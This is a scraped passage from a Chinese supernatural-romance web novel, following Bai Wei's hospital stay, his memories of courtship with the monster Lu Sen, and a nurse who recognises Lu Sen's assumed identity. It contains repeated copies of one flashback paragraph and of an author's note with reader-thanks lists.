任君尧当然清楚白唯的性格,这个压抑的优等生只会觉得眼前的一切繁杂又愚蠢,而且白唯其实很不擅长掩饰自己的情绪,他会把厌倦和面无表情表现得直截了当。 可白唯看着卢森,心想卢森是怪物……他能买康乃馨而不是菊花,他能买轮椅而不是摇摇车就已经很不错了。 而且卢森是他的家庭成员。这不一样,白唯不会让自己的家庭成员在外面丢面子(尽管丢命是可以的)。 “谢谢。”白唯对卢森说,“你拿来的东西都很有用。” 任君尧:? 他眼看着卢森把金属盖子揭开,自己盛了汤过来给白唯喝。任君尧当然不会放任自己成为场景中的电灯泡。他理了下鬓角,对白唯笑笑道:“学弟,你先好好休息吧,我明天再来看你。” “慢走。”白唯说。 卢森还在给白唯喂吃的。任君尧走在走廊的人群里,听着外面的羡慕声和好奇的私语。他越走越快,大步流星,在旁人看不见他的拐角里直把衣角也掀起来。 就在这时,他在难看的脸色里蓦然想起一件事。 ——从头到尾,卢森都没问过他是谁。 白唯其实也发现了这个问题。但对于卢森这个“人”来说,问和不问都是正常的。又或者在一个怪物的身上寻求一种逻辑性本身就是一种失误……他在喝下汤的同时,有些头皮发麻地习惯了被外面的人围观的感觉。 这至少让人感觉安全,比和卢森独处一室好多了。 卢森给他喂完饭就开始打扫卫生。这又让白唯觉得极度诧异。他瞪着在卖力打扫的卢森,甚至有点怀疑卢森又换人了。 夜幕降临,围观的人群也走了。白唯本以为卢森会离开,可他发现,卢森竟然躺在了旁边的小床上。 那张小床是医院自带的、给陪床的家人睡的。它小而窄,对于一般的女性来说要睡下都有些费劲,更何况是卢森。 白唯看着卢 森带来的人在病房里装这个、装那个,活生生把病房装成了城堡里的豪华房间。卢森带来的人没有动那张小床,所以白唯自然地觉得卢森不会在房间里留下。 可他现在看起来是要睡下……白唯说:“你打算今晚睡在这里?” 卢森立刻回头:“对,我觉得护士总不会比我照顾得更好。” “这张床……你怎么没买替换的床?”白唯说完,又补充了一句,“当然,我不是在鼓励你乱买东西的行为……” 白唯说完又觉得自己后一句话很没必要。卢森既然是怪物,那他当然是爱做什么就做什么。他想杀人、想取心、哪怕想钻进镜子里和对着镜子剃胡须的院长来个贴面舞都是他的自由。没人会说一只鬼不能从电视机里爬出来,也没有人会要求一只鬼不要拉灭电灯而是去吹灭蜡烛。所以卢森想做什么都可以,不需要解释。 所以白唯的表情一时间变得有点痛苦。他发现自己刚才下意识地要说卢森买这些东西很浪费,而且很不会读医院的空气。 就像他要管他一样。 “哦,我觉得这没必要。”卢森往小床上一躺。他大半条腿都悬在空中,看起来像坐人体跷跷板一样滑稽。 没必要?也许怪物就是喜欢这么睡着,也许怪物会在他睡着后偷偷变形,以适应这张小床。白唯脑海里闪过无数可能,但就是没办法想到,或许卢森只是在那三小时里想到了无数白唯需要的东西,而忘记了自己要睡一个小床。 白唯让自己不要想这些奇怪的东西。睡在他身边的卢森是一只他住院了也摆脱不了的怪物。他难以忽视卢森的存在感,这让他浑身紧绷,即使已经是黑夜也无法入眠。 白唯在被子里磨蹭了一会儿,最终说:“你还是回去睡吧。你睡在那张小床上,我想到这个,就睡不好。” 卢森说:“这张小床还是挺好的。在很久以前,我都没有床可以睡呢。” “你一个富家公子,怎么会没有床可以睡……”白唯说到一半心里便警铃大作,他怕说破真相打破此刻的平衡,又改口道,“我听说很多留学生出国的第一个星期,都只能睡在地板上。” 呃,确实,地板也挺硬的。卢森同时因为说漏了嘴感到警戒。还好一无所知的白唯递出了台阶。 其实顺 着台阶下就可以了。说出一句简单的话,他们依旧是富家公子卢森和名门望族白唯,就像白唯受伤之前的生活那样。但卢森发现,他很抗拒那样做。 可向白唯展示他的身世,是让他光是想想,就更加抗拒得要命的一件事。这意味着他和白唯再不是一个世界的人。 卢森缩在那张坚硬的小床上,他用人类的声线说:“说不定我的童年,发生过很多你想象不到的事情。” 模棱两可,却心跳如雷。 他本以为白唯会说“是么,我也是一样”。 可他迎来的,只有白唯的沉默。 白唯翻了一下身。他心里的坚冰好像比非人类还要硬。他说:“是么,那还挺厉害的。” 在这个潮湿的春夜,他们一人是逡巡在荒野里的游骑兵,不知道自己该进还是退。另一个却是在堡垒里关上所有窗户的王子,不求死,也不求生。 或许再等等吧。卢森看着夜色里白唯的背影,像是绵延的春山。他想他已经立志,他一定会让他们的家庭越来越好起来的。 比任何两个人类组建的还要伟大。 …… 白唯提心吊胆,又时常忘记自己应该提心吊胆。距离他知道卢森是怪物这件事已经过去好几天了。他白日无事,躺在床上细细地盘数过往,觉得卢森是超能力怪物这件事越来越有迹可循。 他和卢森的初次相识是在咖啡馆里。彼时他的祖父和管家都已经知道了他性冷感的问题。管家给他打电话,说祖父让他去见见小卢——那个名字本该是小鹿、还是小露如今已无迹可寻。白唯那时只认为,自己又要去见一名女性,而且他认为自己必须做一个能承担起她往后人生的人。一次又一次祖父要求的相亲让他压力过大,甚至为此在盥洗室里呕吐过一次。 然而,他在咖啡馆里等了五分钟,在礼貌地给小鹿发去信息后,匆匆赶到咖啡厅的竟然是个男人——还比他更高大。这让白唯感到很不可思议,他甚至忘记了喝咖啡,一直盯着卢森看。他左看右看,怀疑祖父是否想要另辟蹊径,即使没有后代,也要恢复他的男性功能,哪怕是通过前列腺。可以说,这是他对陌生人最失礼的一次注视。 或许是这个举动引发了管家的误会。也是在那时白唯才知道,他每次相亲时,祖父 都会让管家坐在易于观察他的位置,好全程监控他的反应。管家认为白唯对小鹿很满意,祖父也给白唯发信息,要求他安排和小鹿的第二次见面。 白唯和卢森的第二次见面是在水族馆。这次,卢森提前了十五分钟到来。他笑容和煦,举止优雅,除此之外,他还相当地博学,能说出每种海洋生物的生活习性和演化历史。 他对于各种海洋生物的口感描述更是增加了他的幽默感——或许这很地狱,但对于从小对制作尸体标本感兴趣的白唯来说刚刚好,那种微妙又风趣的小小恶意。卢森在第二次约会中的优秀表现洗刷了白唯对他第一次约会迟到五分钟的恶感。这让他觉得和卢森出门这件事,好像也并不怎么尴尬。 然而现在回想起来,白唯却有一丁点毛骨悚然。在第三次约会里,白唯分析了各种生物标本的骨骼肌肉走向和要害位置。然而,这只是出于他本人的理性分析。可对于卢森而言,那些海洋生物的口感……难道他是真的吃过?! 不过比这还要反胃的是白家人的跟随。在第二次约会后,白唯又拿到了一条消息——其实更像一个报告,报告里夸赞了他和卢森约会的适配度。 在过去的几次相亲里,白唯也都会获得它。 但这次和卢森在一起的报告却很不一样。回想起来,或许那时一切都透露着诡异。 作者有话要说 雪山镇说是镇,其实在我心里还挺大的(。)大概类似于美国加州一些海滨度假镇的大小,甚至还有本地大学 但故事国籍背景的话我只能说把它当成一个游戏里会有的中西结合镇(?) 下周有空会稍微修下前文,给事业线加点铺垫这样子_(:з」∠)_感谢在2024-07-0617:41:12~2024-07-0721:39:34期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:?.屿小琼、丨-丨丨丨洋底火丨丨、好喜欢恶毒美人受、wangyige、迷迭梦1个; 感谢灌溉营养液的小天使:落浔潇138瓶;大虾丸60瓶;熙来攘往59瓶;Karma.48瓶;川立40瓶;6664647636瓶;从者欢35瓶;钢筋水泥心、取名鱼30瓶;minusone、信仰是错误先生、久邀未见27瓶;年年21瓶;62816390、宿星川日更一百章、银色大鱿鱼和他的黄金、Blacolide20瓶;凛渊13瓶;吉瑟斯复活多久了11瓶;一个亲爱的无名人士、不要蒜、暴躁甜甜天天骂人、Messiah、青木影O_O、山烨烨也、洛绎、微雨燕双飞、大大看过来!!、黑眼圈、山山而川、山猫的黑羊10瓶;牧野、黎烬8瓶;polarbear、等更中、你们的国民老公.、肥肉迷路了、花花哈5瓶;羡、别问我是谁、白日做梦夜里失眠3瓶;玛丽胡、朝生、朗、究惑久久、Pika、朽到底、啵赞天天见2瓶;猫猫控、温文、我是你爹、想不到起啥名儿、想你的余、。、调用函数()、夜生欢、小血砸、年年有鱼、青舟、老婆我有花苦茶、长尾巴的兔子、平烧鱼子酱、想要奇妙能力、梨团团、十五祭江月、牛紫文gh、鱼鱼、间歇性神经递质发疯实、尘风起、日月日未、孤山无名某、追风少年、冰冰糖啵啵鱼、星行夜归、三七丁、星衍、程迟1瓶; 非常感谢大家对我的支持,我会继续努力的! 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 都会让管家坐在易于观察他的位置,好全程监控他的反应。管家认为白唯对小鹿很满意,祖父也给白唯发信息,要求他安排和小鹿的第二次见面。 白唯和卢森的第二次见面是在水族馆。这次,卢森提前了十五分钟到来。他笑容和煦,举止优雅,除此之外,他还相当地博学,能说出每种海洋生物的生活习性和演化历史。 他对于各种海洋生物的口感描述更是增加了他的幽默感——或许这很地狱,但对于从小对制作尸体标本感兴趣的白唯来说刚刚好,那种微妙又风趣的小小恶意。卢森在第二次约会中的优秀表现洗刷了白唯对他第一次约会迟到五分钟的恶感。这让他觉得和卢森出门这件事,好像也并不怎么尴尬。 然而现在回想起来,白唯却有一丁点毛骨悚然。在第三次约会里,白唯分析了各种生物标本的骨骼肌肉走向和要害位置。然而,这只是出于他本人的理性分析。可对于卢森而言,那些海洋生物的口感……难道他是真的吃过?! 不过比这还要反胃的是白家人的跟随。在第二次约会后,白唯又拿到了一条消息——其实更像一个报告,报告里夸赞了他和卢森约会的适配度。 在过去的几次相亲里,白唯也都会获得它。 但这次和卢森在一起的报告却很不一样。回想起来,或许那时一切都透露着诡异。 作者有话要说 雪山镇说是镇,其实在我心里还挺大的(。)大概类似于美国加州一些海滨度假镇的大小,甚至还有本地大学 但故事国籍背景的话我只能说把它当成一个游戏里会有的中西结合镇(?) 下周有空会稍微修下前文,给事业线加点铺垫这样子_(:з」∠)_感谢在2024-07-0617:41:12~2024-07-0721:39:34期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:?.屿小琼、丨-丨丨丨洋底火丨丨、好喜欢恶毒美人受、wangyige、迷迭梦1个; 感谢灌溉营养液的小天使:落浔潇138瓶;大虾丸60瓶;熙来攘往59瓶;Karma.48瓶;川立40瓶;6664647636瓶;从者欢35瓶;钢筋水泥心、取名鱼30瓶;minusone、信仰是错误先生、久邀未见27瓶;年年21瓶;62816390、宿星川日更一百章、银色大鱿鱼和他的黄金、Blacolide20瓶;凛渊13瓶;吉瑟斯复活多久了11瓶;一个亲爱的无名人士、不要蒜、暴躁甜甜天天骂人、Messiah、青木影O_O、山烨烨也、洛绎、微雨燕双飞、大大看过来!!、黑眼圈、山山而川、山猫的黑羊10瓶;牧野、黎烬8瓶;polarbear、等更中、你们的国民老公.、肥肉迷路了、花花哈5瓶;羡、别问我是谁、白日做梦夜里失眠3瓶;玛丽胡、朝生、朗、究惑久久、Pika、朽到底、啵赞天天见2瓶;猫猫控、温文、我是你爹、想不到起啥名儿、想你的余、。、调用函数()、夜生欢、小血砸、年年有鱼、青舟、老婆我有花苦茶、长尾巴的兔子、平烧鱼子酱、想要奇妙能力、梨团团、十五祭江月、牛紫文gh、鱼鱼、间歇性神经递质发疯实、尘风起、日月日未、孤山无名某、追风少年、冰冰糖啵啵鱼、星行夜归、三七丁、星衍、程迟1瓶; 非常感谢大家对我的支持,我会继续努力的! 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 都会让管家坐在易于观察他的位置,好全程监控他的反应。管家认为白唯对小鹿很满意,祖父也给白唯发信息,要求他安排和小鹿的第二次见面。 白唯和卢森的第二次见面是在水族馆。这次,卢森提前了十五分钟到来。他笑容和煦,举止优雅,除此之外,他还相当地博学,能说出每种海洋生物的生活习性和演化历史。 他对于各种海洋生物的口感描述更是增加了他的幽默感——或许这很地狱,但对于从小对制作尸体标本感兴趣的白唯来说刚刚好,那种微妙又风趣的小小恶意。卢森在第二次约会中的优秀表现洗刷了白唯对他第一次约会迟到五分钟的恶感。这让他觉得和卢森出门这件事,好像也并不怎么尴尬。 然而现在回想起来,白唯却有一丁点毛骨悚然。在第三次约会里,白唯分析了各种生物标本的骨骼肌肉走向和要害位置。然而,这只是出于他本人的理性分析。可对于卢森而言,那些海洋生物的口感……难道他是真的吃过?! 不过比这还要反胃的是白家人的跟随。在第二次约会后,白唯又拿到了一条消息——其实更像一个报告,报告里夸赞了他和卢森约会的适配度。 在过去的几次相亲里,白唯也都会获得它。 但这次和卢森在一起的报告却很不一样。回想起来,或许那时一切都透露着诡异。 作者有话要说 雪山镇说是镇,其实在我心里还挺大的(。)大概类似于美国加州一些海滨度假镇的大小 第 33 章 流浪儿 《经常死老公的都知道》全本免费阅读 “卢森家境优越,学历体面,不游手好闲的同时对事业也没有过于狂热的追求。” “他与你相处愉快,兴趣爱好相投,对于与你一起在青禾定居也没有表现出反感。” “在你们的关系稳定下来后,你们可以结婚,然后回到青禾一起生活……” 以往,无论是怎样的相亲对象,祖父和管家总会在报告上指出他们可能会导致和白唯“不匹配”的缺点。或者家境外强中干,会期待白家为他们填补亏空;或许事业心太盛太重,不会愿意和白唯一起保守经营白家的产业,一定会另谋他路;或许贪图享乐,肉眼可见沉迷于各种奢侈物品;或许不切实际,比起现实里的经营,更沉迷于虚幻的概念…… 每当他们指出那些相亲对象的缺点时,白唯总会觉得,那一条一条好似也在指责他。 唯独卢森。白家的专家们就像是中邪了一样,认为他很适合白唯,而且毫无缺点。任何普通人都无法在白家那自相矛盾的要求中获得这样高的评价。如果白唯真心喜欢卢森,他应该会因此感到狂喜吧。即使并非如此,他也应该因为找到了一个如此符合要求、他也并不讨厌的对象而感到如释重负。 然而。 白唯又呕吐了。他感到压力巨大,在盥洗室里吐了个昏天黑地。他在镜子里惶然而茫然地看见自己满是血丝的眼。他和卢森的第三次约会很顺利,甚至可以说是相当不错。所有的评估报告也说明,他和卢森顺理成章地发展,会有一个有保证的美好未来。 他甚至已经可以看见他和卢森顺滑地滑进婚姻。就像少年时取得好的成绩就会顺利地滑进北都大学一样。而且所有人都是期待会这么做的,他们迫不及待地要把白唯交到卢森的手上了。 没有任何阻力,绝对光滑,白唯不懂自己怎么会感到如此反胃。 白唯下意识地开始疏远卢森了——在他们的关系稳中向好时。但很快管家给他寄来了两张慈善拍卖会的邀请函,让他邀请卢森一起去看。那时候距离白唯上一次和卢森约会已经过去半个月了。 白唯并不想和卢森断绝关系,但也不是很想见到他。这两张票让他压力剧增。白唯看着日历,觉得既然已经半个月了。他应该再见一面他。 卢森答应得很快。他们于是在慈善拍卖会 上碰面了。半个月没见的卢森穿了一身很得体的礼服,身上的法国香水味得体又浪漫。白唯站在他身边,微笑着和其他宾客打招呼。压力给胃部带来的反胃感越来越重了。 慈善拍卖会的主人是一个外国政客。早年,他为了一种资源,主持了对一个小国的袭击。小国国民们民不聊生的图片一律被媒体压了下去。现在,他大谈环境保护和动物保护。他展出的部分拍卖品来自于不同的小国家,所得的款项将被用于环境保护和植物肉研究…… 白唯就在大厅里看画。此刻拍卖会主人在他背后不远处接受采访,卢森则站在他身边。这样虚伪的晚宴让白唯昏昏欲睡,就在这时,卢森对着那副画作,忽然来了一句:“哦,这个鱼我吃过,还挺好吃的。” 白唯:? 被白唯看过来,卢森又说:“口感沙沙的,像是冻坏了的水果冰沙。” 主人在前台接受采访,大谈环境保护。白唯和卢森却像两个恶劣的中学生一样,在展厅里走来走去,对着所有的画作里的鱼类指手画脚。 “这个我吃过,口感像。” “这个不好吃,咬一口有腥水流出来,饿死了也不想吃这个。” “这个刺太多了。” 在环保慈善晚宴上说这个和坟头蹦迪有什么区别!可在那些华服美酒和衣香鬓影背后,他们穿着和宾客们同样的衣服,却像两个阴影中的反社会分子一样四处流窜。白唯跟在卢森身边,卢森说话,对所有动物评头论足,不避免描述可爱动物属于野兽的那一部分,特别没有素质,特别像两只鬼鬼祟祟又坏事做尽的小动物。 白唯在那一刻觉得他们好像两个文明世界里的流浪者,穿着破衣烂衫到处乱跑,把痰吐在每个人干净的裙摆上。他有点想哈哈大笑了,可他从来没有这样笑过。 他还想拿起一把手枪,对着香槟塔上的每个玻璃酒杯开枪,从上到下,然后酒杯就会一个个炸开,琥珀色酒液如涕泗横流,在鲜红地毯上流出血液一般的印记。就在他胡思乱想中,他们走到了最后一个展厅里。一座雕塑立在那里,是慈善晚宴主人的雕塑,不知道是哪个马屁精送来的。中年的慈善晚宴主人站在那里,意气风发,手里还举着一个雕得很精美的王冠,王冠上嵌着一颗巨大的宝石。 “你想看那个 王冠吗?我可以扶你爬上去看。”卢森在他耳边说,“爬到那个雕像上去。” 他转头,看见卢森的蓝色眼珠像是阳光下的海洋那样蓝得强大。 晚八点的钟声就在此刻敲响了。八声,然后拍卖会就要开始了。白唯就在那一刻如梦初醒般地,从穿着玻璃鞋的公主变成了灰姑娘,从小混混变回了文明人。 “我想我们该回去了。”白唯干巴巴地说。 他转身走得特别快,向宴会主人为迟到道歉时也很有礼。就像刚才他突然被扒光了扔到大街上那样,白唯在那场宴会里没有再和卢森多说些什么话。晚上十二点,他更是匆匆地坐上车回家了。 回家后,他看着镜子,心跳如雷。白唯用手指伸进自己的嘴里,牙齿咬着骨节。他发现自己想到今天的行程,竟然不想吐。 用手指挖喉咙也没有这种感觉,好像身心舒畅。 卢森或许也觉得自己是不是得罪白唯了。在那天后,他发了一些试探的短信。最终,他邀请白唯去一家海鲜餐厅。白唯痛快地答应了他。 想到这里,病床上的白唯的表情变得特别扭曲。 又是海鲜!又是吃海洋生物!现在他看出来了,卢森不是博学,他只是特别的喜欢吃! 在慈善晚宴上,他应该也是忍不住,开始交流自己对于吃海鲜的想法! 至于爬雕像……对于怪物来说,或许石头就是可以爬的石头,而不是雕塑。 白唯已经从手术室里被推出来了。医生在几次查房后,惊讶地表示白唯手腕的恢复情况很好,大大地超乎他们的想象。他们本以为白唯的手腕至少要经过长达一年的恢复期,可现在看来,或许三个月内,白唯就可以完全恢复如初了。 “是吗?谢谢医生。我想再向您了解一些骨骼学的知识……”卢森与有荣焉地骄傲笑着,并且追了出去。 整个医院的医生都非常喜欢卢森。他们明明日常工作忙碌,却总会对卢森的提问表现出极其异常的耐心——哪怕是急诊室的医生。有护士在给白唯换药时说漏嘴,说是因为他们觉得卢森的身上存在着某种玄学:自从卢森来了,医院的各种手术都进行得非常顺利。住院部的病人夜晚不再发病,曾经急诊室门庭若市,如今过来的病人大多也只是小病轻伤,这让医生们拥有了更 多的空余时间,甚至不再那么迷信苹果,厌恶火龙果…… 而且卢森每次简单地问完问题,都会给每个医生留下小礼物还有几十支水笔。这可是最珍贵的礼物。 联系到白唯还是因为救助小孩受伤的,他们都觉得这一家人人品很好。 他们也渐渐因为认识了卢森和白唯,从而能把报道里那个白唯和眼前的白唯对上号了。在大城市里时,白唯曾饱受报道中伤,因此尤其厌恶媒体和面对大众,乃至于出门。因此当护士忽然提到这件事时,他差点心跳骤停。 “等你病好了,有没有可能把咱们医院和咱们镇写进去呀?”那个小护士叽叽喳喳的,很高兴,话也很多,“可不可以也写一写我?” 那些人说过那么多“伤仲永”之类的话,说过“白 第 34 章 正面作战 《经常死老公的都知道》全本免费阅读 “上午?任学长来过。”白唯说。 这些天任君尧如打卡般,每天都会抽个时间来白唯的病房。他坐在旁边的椅子上,询问白唯的病情,表达一点关心,然后再聊一聊大学时的事情和这几年的工作经历。没事干时,任君尧还给他削个苹果。 其实白唯很清楚任君尧来这里跑一趟的用意,当然不是为了那点成分很少的关心。在医院里住了这些日子后,白唯也明白,雪山镇虽不算很小,除了好的大学之外,各种设施一应俱全,但也绝不算大。 雪山镇的居民们大多生于此长于此。他们人生中会离开雪山镇最远的时刻,也不过是去隔壁城市上大学(而且这只是少部分)。在那之后,绝大多数居民都会选择返乡,继续他们平静又悠然的生活。 他们中大多数人对外界不感兴趣,比起远方更喜欢在院子里摆花弄草,周末去山里滑雪徒步。在这个地方,任君尧拥有的一切“过去见闻”都没有了用武之地。他想要讨论音乐会,想要讨论文学,想要讨论世界形势,都找不到愿意接话的人。 想要炫耀,都只能一拳打到棉花上。 于是白唯就成了唯一的好炫耀对象。在意识到他的目的后,白唯冷眼看着他,觉得他滑稽得有点好笑。 卢森的脸色却变得有点难看了。他手握着自己的苹果,刀在他的指尖像蝴蝶一样飞舞:“那个任……” “任君尧。”白唯有点无语了,“你还没记住他的名字?” “哦,任君尧。”卢森的语气冷冰冰的,和说一个任务对象的名字没区别,“他给你削的苹果,你吃了?” “没有。” 白唯怎么可能吃任君尧给他削的苹果。他有洁癖,光是看见那只苹果在任君尧的掌心里过了一遍,就已经让人没胃口了。 卢森脸色稍霁,但又变得不爽:“他没有自己的苹果么?跑过来吃你的苹果?” “那倒没有。他的夫人每天都会给他做午饭。”白唯想到任君尧向他炫耀自己的午餐盒了。 “我也每天给你带饭了……”卢森把苹果放在手心里切,“那他削的苹果呢?” 任君尧没吃,白唯没吃,垃圾桶里没有,那苹果去哪里了? “……花瓶里藏着。”白唯指了指床边的玫瑰花,“你去把苹 果和玫瑰一起丢了。把花瓶洗干净。” “这是我送给你的玫瑰花!”卢森瞪大了眼睛,一刀切进了自己的掌心,鲜血迸射而出。 “你的手……”白唯也瞪大了眼睛。 卢森把刀一放,若无其事地抹了下掌心,那道深深的伤口就此消失了。接着,他看向白唯,一脸疑惑般:“我的手?我的手没问题啊?” 白唯:…… 行!他刚才就不该喊那句,卢森一个怪物,他管他有没有受伤呢?现在最重要的是,卢森让自己的伤愈合了,还让他刚刚喷出的血消失了。可现在,那枚苹果还在卢森的手里!血只是在他的视野里消失了,又不是在物理世界里消失了! 白唯在短暂的别过脑袋后又把眼睛瞪了回来。卢森要是敢让他吃这个苹果,他现在就用那把水果刀捅进卢森的心脏里。 “不是手不手的问题,你怎么能把他的苹果放在我送你的玫瑰花里。”卢森说。 “当着探病的客人的面,直接丢掉苹果不礼貌,所以我藏在里面了。”白唯说,“你要和我吵架吗?” ……不吵架,我怎么能和你吵架。卢森有点悻悻的。他说:“好,我一会儿把花丢了,换一束新的进来。亲爱的,你吃我给你削的苹果吧。” 他讨好地把手里的苹果块递给白唯。 水果刀就在这一刻被白唯不小心用手肘撞倒,以自由落体之势扎到了卢森的大腿上。 “哎呀,老公。”白唯的声音又担忧又娇娇的,“你有没有被扎到动脉呀。” “……” 卢森拎着一束玫瑰和两个不被需要的苹果进入垃圾间。在处理完这两样东西后,他抬起面无表情的脸,表情比沙尘暴的天气还要阴郁。 他觉得自己必须要解决掉任君尧了。 任君尧不仅骚扰他的老婆,还在他和白唯的面前炫耀。卢森甚至打听到,由于任君尧和白唯同为从大城市回来的高材生,他们两个人一度在镇上被当成对照组来对比,从个人到家庭,从职业到现状。任君尧是牙医,工作稳定,老婆还是镇上前富豪的女儿,比卢森这个外地人不知道高到哪里去了,在对比中获得了完胜的好成绩。 是可忍孰不可忍!卢森靠在墙边,抿唇玩着刚刚把他捅出一个洞的水果刀。 放在过去,他肯定会直接干掉任君尧。他有一万个方式让他悄无声息地消失。 可这次不一样。 这次事情牵涉到白唯。为了恶补人类社会的知识,卢森每天都在看书看电视。他从中学到一点:活人是永远比不过死人的。如果任君尧去世,他就会变成雪山镇纯元,镇民眼中的完美家庭白月光。往后镇民们提到任君尧,只会感叹“多好的年轻人,多完美的家庭,可惜英年早逝”。而他和白唯的家庭,则会被形容成“就像当年任君尧的家庭一样幸福”。 卢森绝不会允许这样的事情发生。他的好胜心已经被激起,也已经立志。他一定要在正面战场上堂堂正正地击败任君尧,让他夹着尾巴逃跑,再也不敢来骚扰白唯! 想要正面作战,情报源是非常重要的。卢森正想找个人打听一番自己的对手,就听见了年轻女人明快的声音。 “嗨!卢森!” 乔敏穿着碎花裙,站在魏连身边,正在和他打招呼。 …… “白唯睡了,你们是来探望他的吧?他要是知道,一定会很高兴。”卢森面不改色心不跳地撒谎。 要背着白唯打听任君尧的消息,只能把这两个人支开、和他们单独谈话。不出所料,乔敏和魏连立刻相信了他的鬼话。 “是吗?我们来的时间不巧。不过多睡觉也好,身体好得快。”乔敏伸着脖子看了眼病房,遗憾地说,“对了,你知道吗?现在镇子上的大家都知道,白唯在医院救小孩受伤了。和你们一家打过交道的人都说你们是好人。之前那些流言都是城里的记者为了博人眼球编造出来的误会。” “她在这里面可起了不少作用。”魏连指了指乔敏,“她,服装店老板,古董店老板,摩托车小子……哦,你们那个邻居会计太太也在到处说这件事,把你们夸得赞不绝口呢。没想到吧。” “谢谢。”卢森愉快地说了声感谢。 卢森带着他们找了把长椅坐下。乔敏把手里的盒子递给他:“我们才知道白唯出事了,特意做了个蛋糕给他。蜂蜜味的,希望他能喜欢。” “卢森,我建议你知道她有这个心意就够了,这个蛋糕就不用吃了。”魏连在旁边说,“我怕你们旧伤没好,又开始洗胃。” 乔敏差点没把蛋糕 扣在魏连的头上。她对着卢森一脸歉意:“其实我们早就该过来的。但我们俩最近都太忙了。我忙着学生们的开学,他忙着黑港城那边的事……” “黑港城?” “他有个弟弟,在黑港城读书,整天闹着要做侦探什么的。这段时间黑港城不是有很多怪人么?这小子学也不好好上了,每天跟着他们跑。”乔敏说起这个就咬牙切 第 35 章 拆穿 《经常死老公的都知道》全本免费阅读 卢森立刻警觉起来。 他应该认识……这不会是“卢森”的熟人吧? “就是她啊。刚刚进去给你老婆换药的护士。我以为你已经认识她了。”魏连意外道。 给白唯换药的护士不是姓李吗!! 护士就在这时推着小车出来了。她的长相明明很清秀,给人的感觉却有一种扔进人群里,就绝对不会让人找出来的平庸。她走着路时垂着眉头,像是在想自己的心事,随时都会忽略外面的环境。 但她也确实不是前些日子,给白唯换药的护士。卢森稍微松了口气。他想魏连说的“早该认识”,大概是因此产生的误会。 “隆冬!”魏连喊她的名字。 隆冬抬头,意外地看向他们。在她看见卢森后,卢森发现她的眉头皱了起来,眼睛往上看,像是在努力回想什么。 ——完了,不会真认识吧。 …… “今天怎么是你过来?” “红姐说她家里有事,让我帮她值一天班。”隆冬说。 她年龄比白唯还要大几岁,可说话却是小声小气的,像是一阵风吹过来都能把她的话吹散。魏连立刻皱起眉头道:“她家里能有什么事。我今天早上和小敏出门时还看见她了,穿了条花裙子,说要到海边去玩。” “哎……”隆冬说完这句,就没说别的了。也不知道这句话是一句叹气,还是不知道自己该说什么,干脆一如既往地忍了。 隆冬不是镇上富豪的女儿吗?可她和卢森以为的千金大小姐该有的样子相差甚远。他询问魏连:“你们好像很熟悉?” “我们是一个中学的同学,隆冬是我学姐,我们在同一个社团。以前高中时她就经常因为好说话被人欺负。”魏连说,“后来……你是去丰城读大学了吗?” “3+1。”隆冬细声细气地说,“最后一年去法国交换了……” 法国。卢森的眼皮忽然跳了一下。他刚想告诉自己事情没那么巧,就听见魏连说:“对,那次还挺倒霉的。她回国的时候参加了一个游轮旅行,本来要途径几个国家,停靠黑港城,然后再回来的。结果船在半路上碰见海难,整条船的人死了大半……” “别这么说。我的运气已经很好了。能活着回家……” 卢森绷紧了头皮,事情应该不会那么巧吧。可魏连忽然想起了什么般:“说起来,卢森你是不是也在法国留学过?” “……” 隆冬的眼睛就在这时看了过来。她小声道:“其实我刚才就想问……我好像在哪里见过你。可能是因为船上的事情给了我很深的印象,在那前后的记忆都很清晰。但你的脸好像变了许多,我不太确定……” “这……” “而且你那个时候,好像不叫卢森吧?是叫……文森?” …… 世界上怎么会有这样倒霉的巧合! 几年前,一对同样喜欢玩乐的双胞胎兄妹一起登上了这艘游轮。他们一个叫文森,一个叫文露。在游轮上,两人爱笑爱闹的性格给许多同龄人都留下了深刻印象——即使隆冬已经足够内向。而且,他们还组织了许多年轻人的活动。 很不巧,隆冬和文露住在两个相邻的房间。 海难过去,船上的绝大多数人都死在了这场灾难里。卢森就在这时捡到了一堆混在一起的行李,许多文件已经被冲得支离破碎,只能看到“森”和“LU”。 他们是已经移民的富商的孩子,和家里关系冷淡,已经带着家产独立出去。卢森把这一堆文件组合,基于他们的容貌又做了些改动,最终形成了“卢森”。 原来,不仅“森”和“露”是两个人,卢森现在这张脸比起“森”更像“露”,甚至还只有40%像“露”……卢森的大脑在那一刻开始颤抖。 难道,文露才是那个一开始准备要和白唯相亲的人? 难道,从一开始,这就该是一场异性相亲局? 难怪!第一次见面时,白唯看他的表情那么古怪。而早就被卢森发现的、躲在旁边沙发后面的白家“斥侯”的神情那么天崩地裂,还要上来打扰他们、给白唯家的管家发送错误报告。卢森当时只是很生气又很失落。他知道很多人都是要结婚的,他也决定要像人一样结婚,可他没想到自己刚出现,就能让那个“斥侯”这么不满意。 难道他是什么看起来很糟糕的人吗?他明明准备得很完美啊! 所以,他那时借上厕所的理由,对那个“斥侯”进行了一些洗脑手段。而后,他每次约会都需要洗脑很多人,包括白家的“斥侯”和一些围观群众 ,甚至在被白唯带回家去见家长时,他也洗脑了白家全家。 卢森那时觉得人类社会也是这样危机重重。他简直不理解,为何有这么多人不看好他和白唯,认为他配不上白唯。这反而激起了他的好胜心。他就要夺取白唯,让所有人认为他们最般配。 在这些人里,只有白唯是不一样的。白唯尽管露出古怪神色,却还是在与他耐心聊天,像是比任何人都想要了解他——这简直和他们的初遇一模一样,白唯无论是认不认识他,对他都这么有耐心。 这让卢森觉得,他一定要得到白唯。他要白唯永远对他这样有耐心,他要将白唯的耐心据为己有。何况,白唯的家世还那么符合他的需求。 现在,他终于明白,那些人对他的不满意,竟然不是因为他看起来很糟糕。 而是因为,他们没想到,白唯的未婚妻是个男的! 他从一开始上岸,寻找到白唯,然后和他组成的家庭,就不是一个人类社会意义上的正常的、完美的家庭…… 在强大的、好似永远都无法达到目标的失落感后,卢森又骤然意识到了白唯的可贵。白唯是唯一一个从头到尾,他没有对他进行过任何洗脑,就会默认与他这个男人在一起的人。 如果没有白唯的话……如果他遇见的人不是白唯的话……他或许永远也不会有今天。 卢森的心里酥酥麻麻的。他没有意识到刚才,他比起“家庭”这个概念,“关系”这个虚无缥缈的词,他更在乎白唯。 白唯这个人,他与白唯的相遇,他们之间过去发生的事。 